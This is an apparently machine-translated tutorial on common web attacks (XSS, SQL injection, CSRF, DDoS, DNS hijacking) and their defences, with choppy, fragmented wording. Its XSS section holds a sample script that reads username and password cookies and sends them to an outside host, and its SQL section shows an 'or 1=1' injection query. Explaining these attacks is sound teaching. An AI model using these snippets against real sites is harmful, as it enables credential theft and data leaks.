Understand │ XSS attack, SQL injection, CSRF attack, DDoS attack, DNS hijacking

 XSS attack

• Full name: cross site scripting attack  
  Cross Site Scripting

• To overlap style sheets with  
  CSS
    Distinguish , So I changed another abbreviated name  
  XSS

• XSS
  The attacker tampered with the web page , Infuse with malice  
  HTML
    Script , It's usually  
  javascript
  , When users browse the web , An attack to control a user's browser for malicious operations

• XSS
    Attacks are often used in forums , Blog and other applications . Attackers can steal users
  Cookie
  、 Passwords and other important data , And forge transactions 、 Steal user property 、 Steal information

• As above, , If the user does not enter normal text in the comment box , It's a piece of  
  javascript
    Script , And the background did not process the user's data , Directly into the database , When other users visit this page , This script must be executed

• Of course, this is just bad taste , And real hackers will not only satisfy such evil interests , Maybe I want to pass these  
  Inject script
  , Get your  
  Personal information

• It can be seen from the above figure , Users are actually commenting , Introduced a third-party script , Get your browser's in this script  
  cookie
    Information , And send it to the specified interface for saving , So your information has been leaked

// attack.js  Logic in
var uname = $.cookie('username'); //  Get account number
var pwd = $.cookie('password'); //  Get password

//  Send a request
$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');

• In the above logic , Get your personal information in the script , And send your personal information to  
  php
    Processing and saving in the file , So your personal information has been leaked

• So when the backend receives the information submitted by the user , To carry out  
  Disinfection treatment
  , That is to filter some special characters , such as  
  javascript
    Script  
  <>
    To transfer  
  \<\>
    Store it again , In this way, it can be carried out effectively  
  xss
    Prevention of attack

• In addition, if  
  cookie
    Set up in  
  HttpOnly
    attribute , Then through the  
  js
    The script will not be able to read
  cookie
    Information , This can also effectively prevent  
  XSS
    Attack and steal  
  cookie
    Content

 SQL Inject

• SQL Inject
    An attack is when an attacker is  
  HTTP
    Inject malicious into the request  
  SQL
    command , The server constructs the database with the request parameters  
  SQL
    On command , malice  
  SQL
    To be constructed together , And execute... In the database , In order to get interested data in the database or read the database 、 modify 、 Delete 、 Insert, etc , And get caught

• SQL Inject
    attack , The attacker needs to know something about the database table , Like your project  
  Open source
    了 , The database is public ; In addition, your website is not online  
  Turn off debug mode
  , According to the error echo, you can guess the table structure ; And that is  
  Blind note
  , That is, blind guessing the data table structure , This is the most difficult

• SQL Inject
    You can pre compile , Binding parameters is the best defense  
  SQL
    Injection method . Now the framework is basically implemented  
  SQL precompile
  and  
  Parameter binding
  , Maliciously attacked  
  SQL
    Will be regarded as  
  SQL
    Parameters of , instead of  
  SQL
    The order is executed

#  Get user information normally sql
select * from users where id=1

# sql Yes  1 or 1=1, You can find all the data in the user table , Leading to data leakage
select * from users where id=1 or 1=1

 CSRF attack

• CSRF
    Full name  
  Cross Site Request Forgery, Cross-site request forgery
  , An attacker requests... Via a cross site , Illegal operation as a legal user , Such as transfer transaction 、 Comment, etc . Its core is to use the browser  
  Cookie
    Or the server  
  Session
    Strategy , Stealing user identity

• In the open  
  A Website
    Under the circumstances , Another one  
  Tab page
    Open malicious  
  Website B
  , At this time in  
  B page
    Of
  Instigate
  Next , The browser initiates a pair  
  Website A
    Of  
  HTTP
    request

• Because before  
  A Website
    It's already open , The browser has  
  A Website
    Medium  
  Cookie
    Or other information for authentication , This time by  
  Instigate
    Request , This information will be automatically carried with you , Will lead to identity hijacking , Cause operation that is not my will

• The corresponding defense strategies are ：
  Forms token
  、 
  Verification Code
  、
  Referer testing

 DDOS attack

• DDoS
    Full name  
  Distributed Denial of Service, Distributed denial of service attacks
  . Is an upgraded version of a denial of service attack . Denial of service is to make the service unavailable . It is often used to attack servers that provide external services , Like the common ：
  Web service
  、
  The mail service
  、
  DNS service
  、
  Instant messaging services

• At an early stage  
  DoS attack
    It's a very easy thing , Just write a program to overload the service , If you have no time to provide normal services

• Later, with the development of Technology , Today's servers are distributed , It is not a single server that provides services , There are countless behind a service  
  CDN node
  , There are countless
  Web The server
  . Want to rely on a single server to attack this distributed network , No different from each other
  court defeat by fighting against overwhelming odds

• defense ： Up to now, the development of technology can not completely eliminate this kind of attack , Only through technology to link . These include ：
  Flow cleaning
  、
  SYN Cookie
  wait

 DNS hijacked

• In today's Internet traffic , With  
  HTTP／HTTPS
    Dominant  
  Web service
    The generated traffic accounts for the vast majority .
  Web service
    The development is in full swing , This is inseparable from an unknown great hero is the domain name resolution system

• Because of its importance , therefore  
  DNS hijacked
    It's easy to be used by people with ulterior motives

• DNS
  Provide domain name conversion to  
  ip Address
    Service for , Early did not consider too much security , Then came  
  DNSSEC
    technology , Although it solves the hijacking problem to a certain extent , But there are not many cases of application in China , So later, Ali 、 Tencent launched  
  httpDNS
    service